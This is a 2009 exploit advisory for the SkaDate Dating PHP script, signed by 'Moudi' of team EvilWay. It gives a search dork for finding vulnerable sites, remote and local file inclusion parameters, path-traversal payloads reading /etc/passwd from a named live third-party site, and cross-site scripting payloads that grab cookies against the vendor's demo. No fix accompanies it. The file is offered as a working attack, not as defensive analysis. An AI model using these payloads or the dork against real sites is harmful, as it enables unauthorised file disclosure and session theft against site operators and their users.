SkaDate Dating (RFI-LFI-XSS) Multiple Remote Vulnerabilities

2009-07-27 16:32:00

###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
_ _ _ _ _ _
/ \ | | | | / \ | | | |
/ _ \ | | | | / _ \ | |_| |
/ ___ \ | |___ | |___ / ___ \ | _ |
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|


==============================================================================
[»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
[»]
==============================================================================

[»] Script: [ SkaDate Dating ]
[»] Language: [ PHP ]
[»] Download: [ https://www.skadate.com/ ]
[»] Founder: [ Moudi <[email protected]> ]
[»] Thanks to: [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
[»] Team: [ EvilWay ]
[»] Dork: [ Powered by SkaDate dating ]
[»] Price: [ $350 ]
[»] Site : [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : RFI/LFI vulnerability ]===

[»] http://www.site.com/patch/?layout=[LFI]
[»] http://www.site.com/patch/?language_id=[LFI]

[»] http://www.site.com/patch/?language_id=[RFI]

[»] http://www.rsvpsinglelife.com/?layout=../../../../../../../../etc/passwd
[»] http://www.rsvpsinglelife.com/?language_id=../../../../../../../../etc/passwd

===[ Exploit XSS + LIVE : vulnerability ]===

[»] http://www.site.com/patch/admin/auth.php/[XSS]
[»] http://www.site.com/patch/file_uploader.php/[XSS]

[»] http://www.skadate.com/demo/admin/auth.php/"><script>alert(document.cookie);</script>
[»] http://www.skadate.com/demo/file_uploader.php/"><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

#

Fixes

No fixes

In order to submit a new fix you need to be registered.